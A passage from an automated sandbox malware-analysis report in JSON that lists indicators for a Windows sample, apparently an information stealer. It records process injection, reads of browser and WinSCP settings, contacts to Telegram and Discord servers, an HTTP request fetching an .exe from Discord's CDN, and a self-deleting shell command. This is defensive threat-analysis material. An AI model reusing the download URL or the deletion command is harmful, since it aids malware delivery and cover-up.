Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"setup.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 74d00000\n \"setup.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 74d00000\n \"setup.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 74d00000\n \"setup.exe\" loaded module \"KERNEL32\" at base 77ad0000\n \"setup.exe\" loaded module \"NTDLL.DLL\" at base 77d00000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\" has an writable section named \".data\"","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\" file has an entrypoint instructions - \"call0x40ca0c,jmp0x408cab,cmpecx, dword ptr [0x471f00],jne0x408e11,ret,jmp0x40caa2,pusheax,pushdword ptr fs:[0],leaeax, [esp + 0xc],subesp, dword ptr [esp + 0xc],pushebx,pushesi,pushedi,movdword ptr [eax], ebp,movebp, eax,moveax, dword ptr [0x471f00],xoreax, ebp,pusheax,pushdword ptr [ebp - 4],movdword ptr [ebp - 4], 0xffffffff,leaeax, [ebp - 0xc],movdword ptr fs:[0], eax,ret,pusheax,pushdword ptr fs:[0],leaeax, [esp + 0xc],subesp, dword ptr [esp + 0xc],pushebx,pushesi,pushedi,movdword ptr [eax], ebp,movebp, eax,\"","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\System32\\conhost.exe\" [Source: 00000000-00007724-00000BC0-69450428]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"AppLaunch.exe\" (UID: 00000000-00007764) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\", __PROCESS_HISTORY=\"C:\\setup.exe\"\"\n Process \"AppLaunch.exe\" (UID: 00000000-00007764) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"AppLaunch.exe\" (UID: 00000000-00007764)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"AppLaunch.exe\" (UID: 00000000-00007764)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"setup.exe\" trying to access non-existent file \"%WINDIR%\\System32\\WOW64LOG.DLL\"\n \"setup.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"%WINDIR%\\Microsoft.NE\"\n Heuristic match: \"RDP@d@.Do\"\n Heuristic match: \"D)@d@.Do\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on file \"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\"","origin":"YARA Signature","mitre_attack_id":"T1486","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Observed API string:\"GetModuleFileName\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\" was detected as \"Visual C++ 2008 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".data with unusual entropies 7.15740274813","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"Found - (Indicator: \"des\") in Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\n Found - (Indicator: \"rc6\") in Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleA@KERNEL32.dll at 36708-479-00409A7F\n GetModuleHandleA@KERNEL32.dll at 36708-459-004010E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"25/68 Antivirus vendors marked sample as malicious (36% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"gtiwdd@stp.0ip\"\n Pattern match: \"7@eb1gcevt6asa.pd\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"6.12.95.2\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.dll at 36708-1-00408DFD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin\" claimed CRC 479983 while the actual is CRC 500446","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetSystemInfo\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryA\n UnhandledExceptionFilter\n GetCommandLineA\n GetProcAddress\n GetModuleHandleA\n WriteFile\n GetStartupInfoA\n GetModuleHandleW\n TerminateProcess\n Sleep\n GetTickCount\n VirtualAlloc","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"setup.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" - (UID: 00000000-00007724)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"25/68 Antivirus vendors marked sample as malicious (36% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"setup.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" (Handle: 716)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"AppLaunch.exe\" called \"FindResourceW\" with parameter \"1010\" - (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"AppLaunch.exe\" called \"LoadResource\" (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"AppLaunch.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine whether a process running under Wow64","description":"\"AppLaunch.exe\" called \"IsWow64Process\" with parameter \"3148\" - (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"AppLaunch.exe\" called \"GetWindowTextW\" (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"GetWindowTextW\" with parameter \"OK\" - (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"AppLaunch.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"AppLaunch.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve SID domain name","description":"\"AppLaunch.exe\" called \"LookupAccountSidW\" (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"AppLaunch.exe\" called \"GetLocaleInfoW\" with parameter \"0\" - (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003148)\n \"cmd.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003688)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002600-38026-133-0040CA0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002600-38026-133-0040CA0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002600-38026-133-0040CA0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00002600-38026-90-0041257A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-1673931\n \"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-21890577\n \"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-40849984","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-1673931\n \"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-21890577\n \"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00003148-0000010C-40849984","origin":"API Call","mitre_attack_id":"T1120","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$25","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$26","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"AppLaunch.exe\" called \"CopyFileA\" with parameter %ALLUSERSPROFILE%\\69869875688645996462331609 (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"CopyFileA\" with parameter %ALLUSERSPROFILE%\\66112114382679684932882451 (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"AppLaunch.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\(UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\P3Fboyk\\AppData\\Local\\Microsoft\\Windows\\Caches (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.godaddy.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.99:443\"\n \"192.124.249.23:80\"\n \"78.46.235.109:80\"\n \"162.159.133.233:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00002600-38026-36-0040EAE1\n Sleep@KERNEL32.DLL at 00000000-00002600-38026-10-0040BA65\n Sleep@KERNEL32.DLL at 00000000-00002600-38026-52-0040EA9C\n Sleep@KERNEL32.DLL at 00000000-00002600-38026-69-0040EB2D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00002600-38026-13-0040F52C\n LoadLibraryExW@KERNEL32.dll at 55017-170-10007D40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$28","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Martin Prikryl\\WinSCP 2\\Configuration\"\n \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\"\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\n \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\"\n \"SOFTWARE\\Microsoft\\Cryptography\"\n \"%APPDATA%\\Opera Software\\\\Opera Stable\\\\*\"\n \"%APPDATA%\\Opera Software\\\\Opera GX Stable\\\\*\"\n \"%APPDATA%\\Opera Software\\Opera Crypto Stable\\*\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"freebl3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"nss3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"mozglue.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"msvcp140.dll\" as clean (type is \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"vcruntime140.dll\" as clean (type is \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"softokn3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"GET /attachments/1078278032256680010/1078359191359606794/asfdafdsafds.exe HTTP/1.1\nHost: cdn.discordapp.com\nCache-Control: no-cache\" (Indicator: \"discordapp.com\")\n \"__cf_bm\nPwiLSjpSRXAjV0FyJeo.4m5gaRtgXc79cDvJGTeCliM-1677633236-0-ATdgspnhlwMkqOFOcJGBWyMjvOGsGxOyjJMgwrgc0+ae4KXYcA1IRJy3Vp+Q5uHwUkOxR8qB8RUz8MJioTL28Mg=\ndiscordapp.com/\n9217\n1226069504\n31017951\n3858861852\n31017938\n*\" (Indicator: \"discordapp.com\")\n \"discordapp.com/\" (Indicator: \"discordapp.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"@KERNELBASE.dll\"\n \"@IPHLPAPI.DLL\"\n \"8ql@IPHLPAPI.DLL\"\n \"@ADVAPI32.dll\"\n \"8ol@ADVAPI32.dll\"\n \"@wininet.dll\"","origin":"API Call","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"UPX1\" is \"0x44ce00\" greater than 0x100000\n Raw size of \".text\" is \"0x19d800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"UPX0\" is \"0xa10000\" greater than 0x100000\n Virtual size of \"UPX1\" is \"0x44d000\" greater than 0x100000\n Virtual size of \".text\" is \"0x19d789\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cdn.discordapp.com\"\n \"ocsp.godaddy.com\"\n \"t.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"AppLaunch.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c timeout /t 6 & del /f /q \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" & exit\" on 2023-3-1.01:17:42.958","origin":"Monitored 